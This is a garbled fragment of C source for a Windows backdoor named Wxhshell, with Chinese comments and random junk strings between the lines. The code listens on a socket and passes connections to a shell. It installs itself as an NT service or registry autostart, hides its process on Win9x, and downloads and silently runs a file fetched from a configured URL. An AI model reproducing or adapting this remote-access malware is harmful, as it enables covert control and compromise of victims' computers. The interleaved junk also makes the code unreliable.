unsigned long cbNeeded; d(\ 1 }l m]e0X*Kg if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vj(@.uU) ec#_olG% CloseHandle(hProcess); c%b\CP\)W du8!3I if(strstr(procName,"services")) return 1; // 以服务启动 Cl{{H]QngX Q>V?w gZ return 0; // 注册表启动 VAt>ji7c } TftOYY.hQ ko>M&/^ // 主模块 pj j}K int StartWxhshell(LPSTR lpCmdLine) O/nqNQ?< { 69-$Wn43< SOCKET wsl; y^, "gD BOOL val=TRUE; '&/(oJ;O~ int port=0; 4fD`M(wv struct sockaddr_in door; Px$'(eMj^3 ud.poh~| if(wscfg.ws_autoins) Install(); ItMl4P`| . ^BWR port=atoi(lpCmdLine); Y0rf9 Q.<giBh if(port<=0) port=wscfg.ws_port; D8a)( wm 5#P: "U WSADATA data; rdFs?hO if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pDP33`OFh ?DJuQFv if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p-a]"l+L setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _pJX1_vD door.sin_family = AF_INET; fO0-N>W'P door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Z )`inw door.sin_port = htons(port); ?Z5$0-g'hU uAC hu] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =":@Foa closesocket(wsl); ZjE~W>pkQ return 1; LxIuxt=X|p } `Nkx7Z~w: Qa>%[jx,@, if(listen(wsl,2) == INVALID_SOCKET) { o:h)~[n| closesocket(wsl); byp.V_a}/ return 1; D5}DV } [;)~nPjI Wxhshell(wsl); :U7;M}0 WSACleanup(); n}) $&bU2 ] return 0; DrW/KU,{+( UzXDi#Ky } $4ka +nfU Pxap;;\ // 以NT服务方式启动 :p,c%"8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t!NrB X { (q055y DWORD status = 0; k&n\
=tKN DWORD specificError = 0xfffffff; GcPB'`!M L!`*R)I45 serviceStatus.dwServiceType = SERVICE_WIN32; }ZxW"5oq serviceStatus.dwCurrentState = SERVICE_START_PENDING; jc3ExOH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rHH#@Zx serviceStatus.dwWin32ExitCode = 0; rD_Ss.\^g serviceStatus.dwServiceSpecificExitCode = 0; 7$;c6_se serviceStatus.dwCheckPoint = 0; JiG8jB7%} serviceStatus.dwWaitHint = 0;
c"6Kd$?M .n?5}s+q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D86K$IT if (hServiceStatusHandle==0) return; ~Ay S^*(ALFPj status = GetLastError(); >eTf}#s?S if (status!=NO_ERROR) <t% Ao," { Fj'\v#h serviceStatus.dwCurrentState = SERVICE_STOPPED; Rh5@[cg% serviceStatus.dwCheckPoint = 0; # Lu4OSM+ serviceStatus.dwWaitHint = 0; 8Ng))7g! serviceStatus.dwWin32ExitCode = status; 1t!&xvhG serviceStatus.dwServiceSpecificExitCode = specificError; [RroHXdk+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); h}Fu"zK return; Yk(NZ3O } wI|bBfd( jJiCF,m serviceStatus.dwCurrentState = SERVICE_RUNNING; g`y/_ serviceStatus.dwCheckPoint = 0; b#bO=T$e- serviceStatus.dwWaitHint = 0; E;ndw/GZjR if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (\5<GCW- } Lqy|DJ% gEX:S(1QP // 处理NT服务事件,比如:启动、停止 qdg= Imx VOID WINAPI NTServiceHandler(DWORD fdwControl) bvt-leA= { VKl~oFKXJ switch(fdwControl) HJ2O@e { h5h-}qBA case SERVICE_CONTROL_STOP: N9~'P-V serviceStatus.dwWin32ExitCode = 0; {FrHm serviceStatus.dwCurrentState = SERVICE_STOPPED; D_L'x" serviceStatus.dwCheckPoint = 0; B'<O)"1w serviceStatus.dwWaitHint = 0; c~Q`{2%+ { #l8K8GLuf SetServiceStatus(hServiceStatusHandle, &serviceStatus); rElG7[+)p } F5b]/;| return; p1[WGeV case SERVICE_CONTROL_PAUSE: f)!{y>Q serviceStatus.dwCurrentState = SERVICE_PAUSED; &q kl*#] break; wpPxEp/ case SERVICE_CONTROL_CONTINUE: c/,|[t serviceStatus.dwCurrentState = SERVICE_RUNNING; + xkMW%e< break; zwF7DnW<< case SERVICE_CONTROL_INTERROGATE: 6"#Tvj~-8 break; F<XD^sO }; 0hEF$d6U SetServiceStatus(hServiceStatusHandle, &serviceStatus); -M(58/y } @DjG?yLK$ ~XN]?5GQf // 标准应用程序主函数 GcU(:V2o int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zXA= se0U { -0[>}!l=G n~L'icD[ // 获取操作系统版本 [xH2n\7 OsIsNt=GetOsVer(); &QHA_+88W GetModuleFileName(NULL,ExeFile,MAX_PATH); |G5=>W `pn-fk // 从命令行安装 QQ2OZy>W if(strpbrk(lpCmdLine,"iI")) Install(); #EwRb<'Em c"jhbH!u4 // 下载执行文件 V3.vE, if(wscfg.ws_downexe) { e3bAT.P if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lt
ZWs0l0 WinExec(wscfg.ws_filenam,SW_HIDE); 7i%P&oB } m''i E )Q N=>J if(!OsIsNt) { _'o^@v: // 如果时win9x,隐藏进程并且设置为注册表启动 v:!7n HideProc(); rSzXa4m( StartWxhshell(lpCmdLine); `^@g2c+d } 6 I>xd else G=0}IPfp if(StartFromService()) nY.Umj // 以服务方式启动 pNk,jeo StartServiceCtrlDispatcher(DispatchTable); ce-m)o/ else !3gpiQH{ // 普通方式启动 |Cxip&e> StartWxhshell(lpCmdLine); .,(uoK{ S
-mz xj return 0; %[31ZFYB }
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